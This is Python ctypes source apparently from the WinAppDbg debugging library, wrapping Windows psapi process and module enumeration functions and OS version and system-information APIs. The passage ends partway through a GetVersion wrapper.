96 _EnumProcesses.errcheck = RaiseIfZero
97
98 size = 0x1000
99 cbBytesReturned = DWORD()
100 unit = sizeof(DWORD)
101 while 1:
102 ProcessIds = (DWORD * (size // unit))()
103 cbBytesReturned.value = size
104 _EnumProcesses(byref(ProcessIds), cbBytesReturned, byref(cbBytesReturned))
105 returned = cbBytesReturned.value
106 if returned < size:
107 break
108 size = size + 0x1000
109 ProcessIdList = {}
110 for ProcessId in ProcessIds:
111 if ProcessId is None:
112 break
113 ProcessIdList[ProcessId] = 1
114 return list(ProcessIdList.keys())
115
116 # BOOL WINAPI EnumProcessModules(
117 # __in HANDLE hProcess,
118 # __out HMODULE *lphModule,
119 # __in DWORD cb,
120 # __out LPDWORD lpcbNeeded
121 # );
122 def EnumProcessModules(hProcess):
123 _EnumProcessModules = windll.psapi.EnumProcessModules
124 _EnumProcessModules.argtypes = [HANDLE, LPVOID, DWORD, LPDWORD]
125 _EnumProcessModules.restype = bool
126 _EnumProcessModules.errcheck = RaiseIfZero
127
128 size = 0x1000
129 lpcbNeeded = DWORD(size)
130 unit = sizeof(HMODULE)
131 while 1:
132 lphModule = (HMODULE * (size // unit))()
133 _EnumProcessModules(hProcess, byref(lphModule), lpcbNeeded, byref(lpcbNeeded))
134 needed = lpcbNeeded.value
135 if needed <= size:
136 break
137 size = needed
138 return [ lphModule[index] for index in range(0, int(needed // unit)) ]
139
140 # BOOL WINAPI EnumProcessModulesEx(
141 # __in HANDLE hProcess,
142 # __out HMODULE *lphModule,
143 # __in DWORD cb,
144 # __out LPDWORD lpcbNeeded,
145 # __in DWORD dwFilterFlag
146 # );
147 def EnumProcessModulesEx(hProcess, dwFilterFlag = LIST_MODULES_DEFAULT):
148 _EnumProcessModulesEx = windll.psapi.EnumProcessModulesEx
149 _EnumProcessModulesEx.argtypes = [HANDLE, LPVOID, DWORD, LPDWORD, DWORD]
150 _EnumProcessModulesEx.restype = bool
151 _EnumProcessModulesEx.errcheck = RaiseIfZero
152
153 size = 0x1000
154 lpcbNeeded = DWORD(size)
155 unit = sizeof(HMODULE)
156 while 1:
157 lphModule = (HMODULE * (size // unit))()
158 _EnumProcessModulesEx(hProcess, byref(lphModule), lpcbNeeded, byref(lpcbNeeded), dwFilterFlag)
159 needed = lpcbNeeded.value
160 if needed <= size:
161 break
162 size = needed
163 return [ lphModule[index] for index in range(0, (needed // unit)) ]
164
165 # DWORD WINAPI GetDeviceDriverBaseName(
166 # __in LPVOID ImageBase,
167 # __out LPTSTR lpBaseName,
168 # __in DWORD nSize
169 # );
170 def GetDeviceDriverBaseNameA(ImageBase):
171 _GetDeviceDriverBaseNameA = windll.psapi.GetDeviceDriverBaseNameA
172 _GetDeviceDriverBaseNameA.argtypes = [LPVOID, LPSTR, DWORD]
173 _GetDeviceDriverBaseNameA.restype = DWORD
174
175 nSize = MAX_PATH
176 while 1:
177 lpBaseName = ctypes.create_string_buffer("", nSize)
178 nCopied = _GetDeviceDriverBaseNameA(ImageBase, lpBaseName, nSize)
179 if nCopied == 0:
180 raise ctypes.WinError()
181 if nCopied < (nSize - 1):
182 break
183 nSize = nSize + MAX_PATH
184 return lpBaseName.value
185
186 def GetDeviceDriverBaseNameW(ImageBase):
187 _GetDeviceDriverBaseNameW = windll.psapi.GetDeviceDriverBaseNameW
188 _GetDeviceDriverBaseNameW.argtypes = [LPVOID, LPWSTR, DWORD]
189 _GetDeviceDriverBaseNameW.restype = DWORD
190
191 nSize = MAX_PATH
192 while 1:
193 lpBaseName = ctypes.create_unicode_buffer(u"", nSize)
194 nCopied = _GetDeviceDriverBaseNameW(ImageBase, lpBaseName, nSize)
195 if nCopied == 0:
196 raise ctypes.WinError()
197 if nCopied < (nSize - 1):
198 break
199 nSize = nSize + MAX_PATH
200 return lpBaseName.value
201
202 GetDeviceDriverBaseName = GuessStringType(GetDeviceDriverBaseNameA, GetDeviceDriverBaseNameW)
203
204 # DWORD WINAPI GetDeviceDriverFileName(
205 # __in LPVOID ImageBase,
206 # __out LPTSTR lpFilename,
207 # __in DWORD nSize
208 # );
209 def GetDeviceDriverFileNameA(ImageBase):
210 _GetDeviceDriverFileNameA = windll.psapi.GetDeviceDriverFileNameA
211 _GetDeviceDriverFileNameA.argtypes = [LPVOID, LPSTR, DWORD]
212 _GetDeviceDriverFileNameA.restype = DWORD
213
214 nSize = MAX_PATH
215 while 1:
216 lpFilename = ctypes.create_string_buffer("", nSize)
217 nCopied = ctypes.windll.psapi.GetDeviceDriverFileNameA(ImageBase, lpFilename, nSize)
218 if nCopied == 0:
219 raise ctypes.WinError()
220 if nCopied < (nSize - 1):
221 break
222 nSize = nSize + MAX_PATH
223 return lpFilename.value
224
225 def GetDeviceDriverFileNameW(ImageBase):
226 _GetDeviceDriverFileNameW = windll.psapi.GetDeviceDriverFileNameW
227 _GetDeviceDriverFileNameW.argtypes = [LPVOID, LPWSTR, DWORD]
228 _GetDeviceDriverFileNameW.restype = DWORD
229
230 nSize = MAX_PATH
231 while 1:
232 lpFilename = ctypes.create_unicode_buffer(u"", nSize)
233 nCopied = ctypes.windll.psapi.GetDeviceDriverFileNameW(ImageBase, lpFilename, nSize)
234 if nCopied == 0:
235 raise ctypes.WinError()
236 if nCopied < (nSize - 1):
237 break
238 nSize = nSize + MAX_PATH
239 return lpFilename.value
240
241 GetDeviceDriverFileName = GuessStringType(GetDeviceDriverFileNameA, GetDeviceDriverFileNameW)
242
243 # DWORD WINAPI GetMappedFileName(
244 # __in HANDLE hProcess,
245 # __in LPVOID lpv,
246 # __out LPTSTR lpFilename,
247 # __in DWORD nSize
248 # );
249 def GetMappedFileNameA(hProcess, lpv):
250 _GetMappedFileNameA = ctypes.windll.psapi.GetMappedFileNameA
251 _GetMappedFileNameA.argtypes = [HANDLE, LPVOID, LPSTR, DWORD]
252 _GetMappedFileNameA.restype = DWORD
253
254 nSize = MAX_PATH
255 while 1:
256 lpFilename = ctypes.create_string_buffer("", nSize)
257 nCopied = _GetMappedFileNameA(hProcess, lpv, lpFilename, nSize)
258 if nCopied == 0:
259 raise ctypes.WinError()
260 if nCopied < (nSize - 1):
261 break
262 nSize = nSize + MAX_PATH
263 return lpFilename.value
264
265 def GetMappedFileNameW(hProcess, lpv):
266 _GetMappedFileNameW = ctypes.windll.psapi.GetMappedFileNameW
267 _GetMappedFileNameW.argtypes = [HANDLE, LPVOID, LPWSTR, DWORD]
268 _GetMappedFileNameW.restype = DWORD
269
270 nSize = MAX_PATH
271 while 1:
272 lpFilename = ctypes.create_unicode_buffer(u"", nSize)
273 nCopied = _GetMappedFileNameW(hProcess, lpv, lpFilename, nSize)
274 if nCopied == 0:
275 raise ctypes.WinError()
276 if nCopied < (nSize - 1):
277 break
278 nSize = nSize + MAX_PATH
279 return lpFilename.value
280
281 GetMappedFileName = GuessStringType(GetMappedFileNameA, GetMappedFileNameW)
282
283 # DWORD WINAPI GetModuleFileNameEx(
284 # __in HANDLE hProcess,
285 # __in_opt HMODULE hModule,
286 # __out LPTSTR lpFilename,
287 # __in DWORD nSize
288 # );
289 def GetModuleFileNameExA(hProcess, hModule = None):
290 _GetModuleFileNameExA = ctypes.windll.psapi.GetModuleFileNameExA
291 _GetModuleFileNameExA.argtypes = [HANDLE, HMODULE, LPSTR, DWORD]
292 _GetModuleFileNameExA.restype = DWORD
293
294 nSize = MAX_PATH
295 while 1:
296 lpFilename = ctypes.create_string_buffer("", nSize)
297 nCopied = _GetModuleFileNameExA(hProcess, hModule, lpFilename, nSize)
298 if nCopied == 0:
299 raise ctypes.WinError()
300 if nCopied < (nSize - 1):
301 break
302 nSize = nSize + MAX_PATH
303 return lpFilename.value
304
305 def GetModuleFileNameExW(hProcess, hModule = None):
306 _GetModuleFileNameExW = ctypes.windll.psapi.GetModuleFileNameExW
307 _GetModuleFileNameExW.argtypes = [HANDLE, HMODULE, LPWSTR, DWORD]
308 _GetModuleFileNameExW.restype = DWORD
309
310 nSize = MAX_PATH
311 while 1:
312 lpFilename = ctypes.create_unicode_buffer(u"", nSize)
313 nCopied = _GetModuleFileNameExW(hProcess, hModule, lpFilename, nSize)
314 if nCopied == 0:
315 raise ctypes.WinError()
316 if nCopied < (nSize - 1):
317 break
318 nSize = nSize + MAX_PATH
319 return lpFilename.value
320
321 GetModuleFileNameEx = GuessStringType(GetModuleFileNameExA, GetModuleFileNameExW)
322
323 # BOOL WINAPI GetModuleInformation(
324 # __in HANDLE hProcess,
325 # __in HMODULE hModule,
326 # __out LPMODULEINFO lpmodinfo,
327 # __in DWORD cb
328 # );
329 def GetModuleInformation(hProcess, hModule, lpmodinfo = None):
330 _GetModuleInformation = windll.psapi.GetModuleInformation
331 _GetModuleInformation.argtypes = [HANDLE, HMODULE, LPMODULEINFO, DWORD]
332 _GetModuleInformation.restype = bool
333 _GetModuleInformation.errcheck = RaiseIfZero
334
335 if lpmodinfo is None:
336 lpmodinfo = MODULEINFO()
337 _GetModuleInformation(hProcess, hModule, byref(lpmodinfo), sizeof(lpmodinfo))
338 return lpmodinfo
339
340 # DWORD WINAPI GetProcessImageFileName(
341 # __in HANDLE hProcess,
342 # __out LPTSTR lpImageFileName,
343 # __in DWORD nSize
344 # );
345 def GetProcessImageFileNameA(hProcess):
346 _GetProcessImageFileNameA = windll.psapi.GetProcessImageFileNameA
347 _GetProcessImageFileNameA.argtypes = [HANDLE, LPSTR, DWORD]
348 _GetProcessImageFileNameA.restype = DWORD
349
350 nSize = MAX_PATH
351 while 1:
352 lpFilename = ctypes.create_string_buffer("", nSize)
353 nCopied = _GetProcessImageFileNameA(hProcess, lpFilename, nSize)
354 if nCopied == 0:
355 raise ctypes.WinError()
356 if nCopied < (nSize - 1):
357 break
358 nSize = nSize + MAX_PATH
359 return lpFilename.value
360
361 def GetProcessImageFileNameW(hProcess):
362 _GetProcessImageFileNameW = windll.psapi.GetProcessImageFileNameW
363 _GetProcessImageFileNameW.argtypes = [HANDLE, LPWSTR, DWORD]
364 _GetProcessImageFileNameW.restype = DWORD
365
366 nSize = MAX_PATH
367 while 1:
368 lpFilename = ctypes.create_unicode_buffer(u"", nSize)
369 nCopied = _GetProcessImageFileNameW(hProcess, lpFilename, nSize)
370 if nCopied == 0:
371 raise ctypes.WinError()
372 if nCopied < (nSize - 1):
373 break
374 nSize = nSize + MAX_PATH
375 return lpFilename.value
376
377 GetProcessImageFileName = GuessStringType(GetProcessImageFileNameA, GetProcessImageFileNameW)
378
379 #==============================================================================
380 # This calculates the list of exported symbols.
381 _all = set(vars().keys()).difference(_all)
382 __all__ = [_x for _x in _all if not _x.startswith('_')]
383 __all__.sort()
384 #==============================================================================
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 # Copyright (c) 2009-2016, Mario Vilas
4 # All rights reserved.
5 #
6 # Redistribution and use in source and binary forms, with or without
7 # modification, are permitted provided that the following conditions are met:
8 #
9 # * Redistributions of source code must retain the above copyright notice,
10 # this list of conditions and the following disclaimer.
11 # * Redistributions in binary form must reproduce the above copyright
12 # notice,this list of conditions and the following disclaimer in the
13 # documentation and/or other materials provided with the distribution.
14 # * Neither the name of the copyright holder nor the names of its
15 # contributors may be used to endorse or promote products derived from
16 # this software without specific prior written permission.
17 #
18 # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
19 # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
20 # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
21 # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
22 # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
23 # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
24 # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
25 # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
26 # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
27 # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
28 # POSSIBILITY OF SUCH DAMAGE.
29
30 """
31 Detect the current architecture and operating system.
32
33 Some functions here are really from kernel32.dll, others from version.dll.
34 """
35
36 from .defines import *
37
38 #==============================================================================
39 # This is used later on to calculate the list of exported symbols.
40 _all = None
41 _all = set(vars().keys())
42 #==============================================================================
43
44 #--- NTDDI version ------------------------------------------------------------
45
46 NTDDI_WIN8 = 0x06020000
47 NTDDI_WIN7SP1 = 0x06010100
48 NTDDI_WIN7 = 0x06010000
49 NTDDI_WS08 = 0x06000100
50 NTDDI_VISTASP1 = 0x06000100
51 NTDDI_VISTA = 0x06000000
52 NTDDI_LONGHORN = NTDDI_VISTA
53 NTDDI_WS03SP2 = 0x05020200
54 NTDDI_WS03SP1 = 0x05020100
55 NTDDI_WS03 = 0x05020000
56 NTDDI_WINXPSP3 = 0x05010300
57 NTDDI_WINXPSP2 = 0x05010200
58 NTDDI_WINXPSP1 = 0x05010100
59 NTDDI_WINXP = 0x05010000
60 NTDDI_WIN2KSP4 = 0x05000400
61 NTDDI_WIN2KSP3 = 0x05000300
62 NTDDI_WIN2KSP2 = 0x05000200
63 NTDDI_WIN2KSP1 = 0x05000100
64 NTDDI_WIN2K = 0x05000000
65 NTDDI_WINNT4 = 0x04000000
66
67 OSVERSION_MASK = 0xFFFF0000
68 SPVERSION_MASK = 0x0000FF00
69 SUBVERSION_MASK = 0x000000FF
70
71 #--- OSVERSIONINFO and OSVERSIONINFOEX structures and constants ---------------
72
73 VER_PLATFORM_WIN32s = 0
74 VER_PLATFORM_WIN32_WINDOWS = 1
75 VER_PLATFORM_WIN32_NT = 2
76
77 VER_SUITE_BACKOFFICE = 0x00000004
78 VER_SUITE_BLADE = 0x00000400
79 VER_SUITE_COMPUTE_SERVER = 0x00004000
80 VER_SUITE_DATACENTER = 0x00000080
81 VER_SUITE_ENTERPRISE = 0x00000002
82 VER_SUITE_EMBEDDEDNT = 0x00000040
83 VER_SUITE_PERSONAL = 0x00000200
84 VER_SUITE_SINGLEUSERTS = 0x00000100
85 VER_SUITE_SMALLBUSINESS = 0x00000001
86 VER_SUITE_SMALLBUSINESS_RESTRICTED = 0x00000020
87 VER_SUITE_STORAGE_SERVER = 0x00002000
88 VER_SUITE_TERMINAL = 0x00000010
89 VER_SUITE_WH_SERVER = 0x00008000
90
91 VER_NT_DOMAIN_CONTROLLER = 0x0000002
92 VER_NT_SERVER = 0x0000003
93 VER_NT_WORKSTATION = 0x0000001
94
95 VER_BUILDNUMBER = 0x0000004
96 VER_MAJORVERSION = 0x0000002
97 VER_MINORVERSION = 0x0000001
98 VER_PLATFORMID = 0x0000008
99 VER_PRODUCT_TYPE = 0x0000080
100 VER_SERVICEPACKMAJOR = 0x0000020
101 VER_SERVICEPACKMINOR = 0x0000010
102 VER_SUITENAME = 0x0000040
103
104 VER_EQUAL = 1
105 VER_GREATER = 2
106 VER_GREATER_EQUAL = 3
107 VER_LESS = 4
108 VER_LESS_EQUAL = 5
109 VER_AND = 6
110 VER_OR = 7
111
112 # typedef struct _OSVERSIONINFO {
113 # DWORD dwOSVersionInfoSize;
114 # DWORD dwMajorVersion;
115 # DWORD dwMinorVersion;
116 # DWORD dwBuildNumber;
117 # DWORD dwPlatformId;
118 # TCHAR szCSDVersion[128];
119 # }OSVERSIONINFO;
120 class OSVERSIONINFOA(Structure):
121 _fields_ = [
122 ("dwOSVersionInfoSize", DWORD),
123 ("dwMajorVersion", DWORD),
124 ("dwMinorVersion", DWORD),
125 ("dwBuildNumber", DWORD),
126 ("dwPlatformId", DWORD),
127 ("szCSDVersion", CHAR * 128),
128 ]
129 class OSVERSIONINFOW(Structure):
130 _fields_ = [
131 ("dwOSVersionInfoSize", DWORD),
132 ("dwMajorVersion", DWORD),
133 ("dwMinorVersion", DWORD),
134 ("dwBuildNumber", DWORD),
135 ("dwPlatformId", DWORD),
136 ("szCSDVersion", WCHAR * 128),
137 ]
138
139 # typedef struct _OSVERSIONINFOEX {
140 # DWORD dwOSVersionInfoSize;
141 # DWORD dwMajorVersion;
142 # DWORD dwMinorVersion;
143 # DWORD dwBuildNumber;
144 # DWORD dwPlatformId;
145 # TCHAR szCSDVersion[128];
146 # WORD wServicePackMajor;
147 # WORD wServicePackMinor;
148 # WORD wSuiteMask;
149 # BYTE wProductType;
150 # BYTE wReserved;
151 # }OSVERSIONINFOEX, *POSVERSIONINFOEX, *LPOSVERSIONINFOEX;
152 class OSVERSIONINFOEXA(Structure):
153 _fields_ = [
154 ("dwOSVersionInfoSize", DWORD),
155 ("dwMajorVersion", DWORD),
156 ("dwMinorVersion", DWORD),
157 ("dwBuildNumber", DWORD),
158 ("dwPlatformId", DWORD),
159 ("szCSDVersion", CHAR * 128),
160 ("wServicePackMajor", WORD),
161 ("wServicePackMinor", WORD),
162 ("wSuiteMask", WORD),
163 ("wProductType", BYTE),
164 ("wReserved", BYTE),
165 ]
166 class OSVERSIONINFOEXW(Structure):
167 _fields_ = [
168 ("dwOSVersionInfoSize", DWORD),
169 ("dwMajorVersion", DWORD),
170 ("dwMinorVersion", DWORD),
171 ("dwBuildNumber", DWORD),
172 ("dwPlatformId", DWORD),
173 ("szCSDVersion", WCHAR * 128),
174 ("wServicePackMajor", WORD),
175 ("wServicePackMinor", WORD),
176 ("wSuiteMask", WORD),
177 ("wProductType", BYTE),
178 ("wReserved", BYTE),
179 ]
180
181 LPOSVERSIONINFOA = POINTER(OSVERSIONINFOA)
182 LPOSVERSIONINFOW = POINTER(OSVERSIONINFOW)
183 LPOSVERSIONINFOEXA = POINTER(OSVERSIONINFOEXA)
184 LPOSVERSIONINFOEXW = POINTER(OSVERSIONINFOEXW)
185 POSVERSIONINFOA = LPOSVERSIONINFOA
186 POSVERSIONINFOW = LPOSVERSIONINFOW
187 POSVERSIONINFOEXA = LPOSVERSIONINFOEXA
188 POSVERSIONINFOEXW = LPOSVERSIONINFOA
189
190 #--- GetSystemMetrics constants -----------------------------------------------
191
192 SM_CXSCREEN = 0
193 SM_CYSCREEN = 1
194 SM_CXVSCROLL = 2
195 SM_CYHSCROLL = 3
196 SM_CYCAPTION = 4
197 SM_CXBORDER = 5
198 SM_CYBORDER = 6
199 SM_CXDLGFRAME = 7
200 SM_CYDLGFRAME = 8
201 SM_CYVTHUMB = 9
202 SM_CXHTHUMB = 10
203 SM_CXICON = 11
204 SM_CYICON = 12
205 SM_CXCURSOR = 13
206 SM_CYCURSOR = 14
207 SM_CYMENU = 15
208 SM_CXFULLSCREEN = 16
209 SM_CYFULLSCREEN = 17
210 SM_CYKANJIWINDOW = 18
211 SM_MOUSEPRESENT = 19
212 SM_CYVSCROLL = 20
213 SM_CXHSCROLL = 21
214 SM_DEBUG = 22
215 SM_SWAPBUTTON = 23
216 SM_RESERVED1 = 24
217 SM_RESERVED2 = 25
218 SM_RESERVED3 = 26
219 SM_RESERVED4 = 27
220 SM_CXMIN = 28
221 SM_CYMIN = 29
222 SM_CXSIZE = 30
223 SM_CYSIZE = 31
224 SM_CXFRAME = 32
225 SM_CYFRAME = 33
226 SM_CXMINTRACK = 34
227 SM_CYMINTRACK = 35
228 SM_CXDOUBLECLK = 36
229 SM_CYDOUBLECLK = 37
230 SM_CXICONSPACING = 38
231 SM_CYICONSPACING = 39
232 SM_MENUDROPALIGNMENT = 40
233 SM_PENWINDOWS = 41
234 SM_DBCSENABLED = 42
235 SM_CMOUSEBUTTONS = 43
236
237 SM_CXFIXEDFRAME = SM_CXDLGFRAME # ;win40 name change
238 SM_CYFIXEDFRAME = SM_CYDLGFRAME # ;win40 name change
239 SM_CXSIZEFRAME = SM_CXFRAME # ;win40 name change
240 SM_CYSIZEFRAME = SM_CYFRAME # ;win40 name change
241
242 SM_SECURE = 44
243 SM_CXEDGE = 45
244 SM_CYEDGE = 46
245 SM_CXMINSPACING = 47
246 SM_CYMINSPACING = 48
247 SM_CXSMICON = 49
248 SM_CYSMICON = 50
249 SM_CYSMCAPTION = 51
250 SM_CXSMSIZE = 52
251 SM_CYSMSIZE = 53
252 SM_CXMENUSIZE = 54
253 SM_CYMENUSIZE = 55
254 SM_ARRANGE = 56
255 SM_CXMINIMIZED = 57
256 SM_CYMINIMIZED = 58
257 SM_CXMAXTRACK = 59
258 SM_CYMAXTRACK = 60
259 SM_CXMAXIMIZED = 61
260 SM_CYMAXIMIZED = 62
261 SM_NETWORK = 63
262 SM_CLEANBOOT = 67
263 SM_CXDRAG = 68
264 SM_CYDRAG = 69
265 SM_SHOWSOUNDS = 70
266 SM_CXMENUCHECK = 71 # Use instead of GetMenuCheckMarkDimensions()!
267 SM_CYMENUCHECK = 72
268 SM_SLOWMACHINE = 73
269 SM_MIDEASTENABLED = 74
270 SM_MOUSEWHEELPRESENT = 75
271 SM_XVIRTUALSCREEN = 76
272 SM_YVIRTUALSCREEN = 77
273 SM_CXVIRTUALSCREEN = 78
274 SM_CYVIRTUALSCREEN = 79
275 SM_CMONITORS = 80
276 SM_SAMEDISPLAYFORMAT = 81
277 SM_IMMENABLED = 82
278 SM_CXFOCUSBORDER = 83
279 SM_CYFOCUSBORDER = 84
280 SM_TABLETPC = 86
281 SM_MEDIACENTER = 87
282 SM_STARTER = 88
283 SM_SERVERR2 = 89
284 SM_MOUSEHORIZONTALWHEELPRESENT = 91
285 SM_CXPADDEDBORDER = 92
286
287 SM_CMETRICS = 93
288
289 SM_REMOTESESSION = 0x1000
290 SM_SHUTTINGDOWN = 0x2000
291 SM_REMOTECONTROL = 0x2001
292 SM_CARETBLINKINGENABLED = 0x2002
293
294 #--- SYSTEM_INFO structure, GetSystemInfo() and GetNativeSystemInfo() ---------
295
296 # Values used by Wine
297 # Documented values at MSDN are marked with an asterisk
298 PROCESSOR_ARCHITECTURE_UNKNOWN = 0xFFFF; # Unknown architecture.
299 PROCESSOR_ARCHITECTURE_INTEL = 0 # x86 (AMD or Intel) *
300 PROCESSOR_ARCHITECTURE_MIPS = 1 # MIPS
301 PROCESSOR_ARCHITECTURE_ALPHA = 2 # Alpha
302 PROCESSOR_ARCHITECTURE_PPC = 3 # Power PC
303 PROCESSOR_ARCHITECTURE_SHX = 4 # SHX
304 PROCESSOR_ARCHITECTURE_ARM = 5 # ARM
305 PROCESSOR_ARCHITECTURE_IA64 = 6 # Intel Itanium *
306 PROCESSOR_ARCHITECTURE_ALPHA64 = 7 # Alpha64
307 PROCESSOR_ARCHITECTURE_MSIL = 8 # MSIL
308 PROCESSOR_ARCHITECTURE_AMD64 = 9 # x64 (AMD or Intel) *
309 PROCESSOR_ARCHITECTURE_IA32_ON_WIN64 = 10 # IA32 on Win64
310 PROCESSOR_ARCHITECTURE_SPARC = 20 # Sparc (Wine)
311
312 # Values used by Wine
313 # PROCESSOR_OPTIL value found at http://code.google.com/p/ddab-lib/
314 # Documented values at MSDN are marked with an asterisk
315 PROCESSOR_INTEL_386 = 386 # Intel i386 *
316 PROCESSOR_INTEL_486 = 486 # Intel i486 *
317 PROCESSOR_INTEL_PENTIUM = 586 # Intel Pentium *
318 PROCESSOR_INTEL_IA64 = 2200 # Intel IA64 (Itanium) *
319 PROCESSOR_AMD_X8664 = 8664 # AMD X86 64 *
320 PROCESSOR_MIPS_R4000 = 4000 # MIPS R4000, R4101, R3910
321 PROCESSOR_ALPHA_21064 = 21064 # Alpha 210 64
322 PROCESSOR_PPC_601 = 601 # PPC 601
323 PROCESSOR_PPC_603 = 603 # PPC 603
324 PROCESSOR_PPC_604 = 604 # PPC 604
325 PROCESSOR_PPC_620 = 620 # PPC 620
326 PROCESSOR_HITACHI_SH3 = 10003 # Hitachi SH3 (Windows CE)
327 PROCESSOR_HITACHI_SH3E = 10004 # Hitachi SH3E (Windows CE)
328 PROCESSOR_HITACHI_SH4 = 10005 # Hitachi SH4 (Windows CE)
329 PROCESSOR_MOTOROLA_821 = 821 # Motorola 821 (Windows CE)
330 PROCESSOR_SHx_SH3 = 103 # SHx SH3 (Windows CE)
331 PROCESSOR_SHx_SH4 = 104 # SHx SH4 (Windows CE)
332 PROCESSOR_STRONGARM = 2577 # StrongARM (Windows CE)
333 PROCESSOR_ARM720 = 1824 # ARM 720 (Windows CE)
334 PROCESSOR_ARM820 = 2080 # ARM 820 (Windows CE)
335 PROCESSOR_ARM920 = 2336 # ARM 920 (Windows CE)
336 PROCESSOR_ARM_7TDMI = 70001 # ARM 7TDMI (Windows CE)
337 PROCESSOR_OPTIL = 0x494F # MSIL
338
339 # typedef struct _SYSTEM_INFO {
340 # union {
341 # DWORD dwOemId;
342 # struct {
343 # WORD wProcessorArchitecture;
344 # WORD wReserved;
345 # } ;
346 # } ;
347 # DWORD dwPageSize;
348 # LPVOID lpMinimumApplicationAddress;
349 # LPVOID lpMaximumApplicationAddress;
350 # DWORD_PTR dwActiveProcessorMask;
351 # DWORD dwNumberOfProcessors;
352 # DWORD dwProcessorType;
353 # DWORD dwAllocationGranularity;
354 # WORD wProcessorLevel;
355 # WORD wProcessorRevision;
356 # } SYSTEM_INFO;
357
358 class _SYSTEM_INFO_OEM_ID_STRUCT(Structure):
359 _fields_ = [
360 ("wProcessorArchitecture", WORD),
361 ("wReserved", WORD),
362 ]
363
364 class _SYSTEM_INFO_OEM_ID(Union):
365 _fields_ = [
366 ("dwOemId", DWORD),
367 ("w", _SYSTEM_INFO_OEM_ID_STRUCT),
368 ]
369
370 class SYSTEM_INFO(Structure):
371 _fields_ = [
372 ("id", _SYSTEM_INFO_OEM_ID),
373 ("dwPageSize", DWORD),
374 ("lpMinimumApplicationAddress", LPVOID),
375 ("lpMaximumApplicationAddress", LPVOID),
376 ("dwActiveProcessorMask", DWORD_PTR),
377 ("dwNumberOfProcessors", DWORD),
378 ("dwProcessorType", DWORD),
379 ("dwAllocationGranularity", DWORD),
380 ("wProcessorLevel", WORD),
381 ("wProcessorRevision", WORD),
382 ]
383
384 def __get_dwOemId(self):
385 return self.id.dwOemId
386 def __set_dwOemId(self, value):
387 self.id.dwOemId = value
388 dwOemId = property(__get_dwOemId, __set_dwOemId)
389
390 def __get_wProcessorArchitecture(self):
391 return self.id.w.wProcessorArchitecture
392 def __set_wProcessorArchitecture(self, value):
393 self.id.w.wProcessorArchitecture = value
394 wProcessorArchitecture = property(__get_wProcessorArchitecture, __set_wProcessorArchitecture)
395
396 LPSYSTEM_INFO = ctypes.POINTER(SYSTEM_INFO)
397
398 # void WINAPI GetSystemInfo(
399 # __out LPSYSTEM_INFO lpSystemInfo
400 # );
401 def GetSystemInfo():
402 _GetSystemInfo = windll.kernel32.GetSystemInfo
403 _GetSystemInfo.argtypes = [LPSYSTEM_INFO]
404 _GetSystemInfo.restype = None
405
406 sysinfo = SYSTEM_INFO()
407 _GetSystemInfo(byref(sysinfo))
408 return sysinfo
409
410 # void WINAPI GetNativeSystemInfo(
411 # __out LPSYSTEM_INFO lpSystemInfo
412 # );
413 def GetNativeSystemInfo():
414 _GetNativeSystemInfo = windll.kernel32.GetNativeSystemInfo
415 _GetNativeSystemInfo.argtypes = [LPSYSTEM_INFO]
416 _GetNativeSystemInfo.restype = None
417
418 sysinfo = SYSTEM_INFO()
419 _GetNativeSystemInfo(byref(sysinfo))
420 return sysinfo
421
422 # int WINAPI GetSystemMetrics(
423 # __in int nIndex
424 # );
425 def GetSystemMetrics(nIndex):
426 _GetSystemMetrics = windll.user32.GetSystemMetrics
427 _GetSystemMetrics.argtypes = [ctypes.c_int]
428 _GetSystemMetrics.restype = ctypes.c_int
429 return _GetSystemMetrics(nIndex)
430
431 # SIZE_T WINAPI GetLargePageMinimum(void);
432 def GetLargePageMinimum():
433 _GetLargePageMinimum = windll.user32.GetLargePageMinimum
434 _GetLargePageMinimum.argtypes = []
435 _GetLargePageMinimum.restype = SIZE_T
436 return _GetLargePageMinimum()
437
438 # HANDLE WINAPI GetCurrentProcess(void);
439 def GetCurrentProcess():
440 ## return 0xFFFFFFFFFFFFFFFFL
441 _GetCurrentProcess = windll.kernel32.GetCurrentProcess
442 _GetCurrentProcess.argtypes = []
443 _GetCurrentProcess.restype = HANDLE
444 return _GetCurrentProcess()
445
446 # HANDLE WINAPI GetCurrentThread(void);
447 def GetCurrentThread():
448 ## return 0xFFFFFFFFFFFFFFFEL
449 _GetCurrentThread = windll.kernel32.GetCurrentThread
450 _GetCurrentThread.argtypes = []
451 _GetCurrentThread.restype = HANDLE
452 return _GetCurrentThread()
453
454 # BOOL WINAPI IsWow64Process(
455 # __in HANDLE hProcess,
456 # __out PBOOL Wow64Process
457 # );
458 def IsWow64Process(hProcess):
459 _IsWow64Process = windll.kernel32.IsWow64Process
460 _IsWow64Process.argtypes = [HANDLE, PBOOL]
461 _IsWow64Process.restype = bool
462 _IsWow64Process.errcheck = RaiseIfZero
463
464 Wow64Process = BOOL(FALSE)
465 _IsWow64Process(hProcess, byref(Wow64Process))
466 return bool(Wow64Process)
467
468 # DWORD WINAPI GetVersion(void);
469 def GetVersion():
470 _GetVersion = windll.kernel32.GetVersion
471 _GetVersion.argtypes = []
472 _GetVersion.restype = DWORD
473 _GetVersion.errcheck = RaiseIfZero
474
475 # See the example code here:
476 # http://msdn.microsoft.com/en-us/library/ms724439(VS.85).aspx
477
478 dwVersion = _GetVersion()
479 dwMajorVersion = dwVersion & 0x000000FF
480 dwMinorVersion = (dwVersion & 0x0000FF00) >> 8
481 if (dwVersion & 0x80000000) == 0:
482 dwBuild = (dwVersion & 0x7FFF0000) >> 16
483 else:
484 dwBuild = None
